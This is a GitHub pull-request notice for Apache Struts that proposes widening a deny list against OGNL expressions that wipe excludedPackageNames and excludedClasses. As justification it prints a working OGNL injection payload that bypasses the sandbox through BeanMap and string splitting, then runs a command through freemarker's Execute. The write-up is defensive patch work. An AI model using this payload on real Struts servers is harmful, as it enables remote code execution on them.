k4n5ha0 opened a new pull request, #561:
URL: https://github.com/apache/struts/pull/561
block unknow exp to clean excludedPackageNames and excludedClasses
if attacker use 'excluded'+'PackageNames' likes blow, this patch deny list
also can protect structs
%{
(#request.a=#@org.apache.commons.collections.BeanMap@{}) +
(#request.a.setBean(#request.get('struts.valueStack')) == true) +
(#request.b=#@org.apache.commons.collections.BeanMap@{}) +
(#request.b.setBean(#request.get('a').get('context'))) +
(#request.c=#@org.apache.commons.collections.BeanMap@{}) +
(#request.c.setBean(#request.get('b').get('memberAccess'))) +
(#request.get('c').put('excluded'+'PackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()))
+
(#request.get('c').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()))
+
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc'}))
}
image
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